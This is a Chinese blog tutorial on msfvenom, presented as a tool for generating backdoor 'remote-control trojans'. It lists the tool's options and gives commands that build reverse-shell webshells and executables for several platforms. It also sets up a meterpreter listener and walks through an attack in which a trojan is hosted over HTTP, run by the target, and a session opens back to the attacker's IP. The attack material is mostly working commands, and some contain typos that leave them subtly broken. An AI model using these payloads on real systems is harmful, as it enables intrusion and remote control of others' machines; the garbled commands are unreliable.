当前位置: 博客首页>> 网络安全 >> 阅读正文

msfvenom 介绍与基本使用

作者: 分类: 网络安全 发布于: 2024-07-09 11:50:57 浏览:203 评论(0)


msfvenom 介绍与基本使用

介绍

msfvenom是用来生成后门的软件,在目标机上执行后门,在本地监听上线,可以理解为一个远控木马。 MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。

基本参数

msfvenom -h  

MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
    -l, --list            <type>     列出所有可用的项目,其中值可以被设置为: payloads, encoders, nops, platforms, archs, encrypt, formats, all
    -p, --payload         <payload>  指定特定的 Payload,如果被设置为,那么从标准输入流中读取。几乎支持全平台
        --list-options               List --payload <value>'s standard, advanced and evasion options
    -f, --format          <format>   输出格式(–list formats: 列出所有可用的输出格式)
    -e, --encoder         <encoder>  指定使用的编码
        --service-name    <value>    生成服务二进制文件时要使用的服务名称
        --sec-name        <value>    生成大型Windows二进制文件时要使用的新节名称。默认值:随机4个字符的alpha字符串
        --smallest                   使用所有可用的编码器生成尽可能小的有效载荷
        --encrypt         <value>    应用于shellcode的加密或编码类型 (--list 列出所有编码)
        --encrypt-key     <value>    --encrypt 的加密密钥
        --encrypt-iv      <value>    --encrypt 的初始化矢量
    -a, --arch            <arch>     指定--payload 和 --encoders的目标系统架构 (use --list archs to list)
        --platform        <platform> --payload 指定的平台 (use --list platforms to list)
    -o, --out             <path>     保存Payload 到文件
    -b, --bad-chars       <list>     设置避免出现的字符如: '\x00\xff'
    -n, --nopsled         <length>   指定 nop 在 payload 中的数量
        --pad-nops                   使用-n<length>指定的nopolid大小作为总有效负载大小,自动准备数量的nopold(nops减去有效负载长度)
    -s, --space           <length>   未经编码的 Payload 的最大长度
        --encoder-space   <length>   编码Payload的最大大小 (defaults to the -s value)
    -i, --iterations      <count>    设置 Payload 的编码次数
    -c, --add-code        <path>     指定一个附加的win32 shellcode文件
    -x, --template        <path>     指定一个特定的可执行文件作为模板
    -k, --keep                       保护模板程序的功能,注入的payload作为一个新的进程运行
    -v, --var-name        <value>    指定用于某些输出格式的自定义变量名
    -t, --timeout         <second>   从STDIN读取有效负载时等待的秒数 (default 30, 0 to disable)
    -h, --help                       显示此消息

最常用的参数: -p ,-f ,-o,-x 和 -e 。

基本使用

生成web payload,也就是webshell

# php
msfvenom -p php/meterpreter/reverse_tcp lhost=<Your IP> lport=<Your Port> -f raw -o shell.php
# asp:
msfvenom -a x86 --platform windows -p winlows/meterpreter/reverse_tcp lhost=<Your IP> lport=<Your Port> -f aspx -o shell.aspx
#  jsp:
msfvenom -p java/jsp_shell_reverse_tcp lhost=<Your IP> lport=<Your Port> -f raw > shell.jsp
#  war:
msfvenom -p java/jsp_shell _reverse _tcp lhost=<Your IP> lport=<Your Port> -f war > shell.war

不同平台可执行程序

# linux:
msfvenom -p linux/x64/meterpreter/reverse tp lhost=<Your IP> lport=<Your Port> -f elf > shell.elf
msfvenom -p linux/x64/meterpreter/bind tcp lhost=<Your IP> lport=<Your Port> -f elf > shell.elf
# windows
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Your IP> lport=<Your Port> -f exe > shell.exe
# mac:
msfvenom -p osx/x64/meterpreter/reverse_tcp lhost=<Your IP> lport=<Your Port> -f macho > shell.macho

监听(需要进入msfconsole内)

# 快捷监听
handler -H 10.0.0.150 -P 5555 -p windows/x64/meterpreter/reverse_tcp
# 使用exploit监听
use exploit/multi/handler  # 使用监听模块
set lhost <Your IP>        # 设置监听ip
set lport <Your Port>      # 设置监听端口
set payload windows/x64/meterpreter/reverse_tcp   # 设置payload
exploit   # 执行监听

攻击实例(使用kali,需要部署在公网上。本实例在虚拟机上演示)

# kali攻击机
# 1、使用msfvenom使用木马程序
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.150 lport=5555 -f exe > shell.exe
# 2、拷贝生成和程序到apache服务根目录
cp ~/shell.exe /var/www/html
# 3、进入apache服务根目录并运行apache服务
cd /var/www/html && service apache2 start
# 4、进入msfconsole控制台
msfconsole -q 
# 5、开启监听
handler -H 10.0.0.150 -P 5555 -p windows/x64/meterpreter/reverse_tcp

# 目标机器
# 1、 访问攻击机apache服务下载木马程序: http://10.0.0.150/shell.exe
# 2、 运行木马程序

# 运行后可在攻击机上看到如下提示, 则表明已攻击成功
[*] Sending stage (201798 bytes) to 10.0.0.154
[*] Meterpreter session 1 opened (10.0.0.150:5555 -> 10.0.0.154:49201) at 2024-07-03 18:29:12 +0800
       

转载时请注明出处及相应链接。

本文永久链接: http://www.baigei.com/articles/msfvenom-usage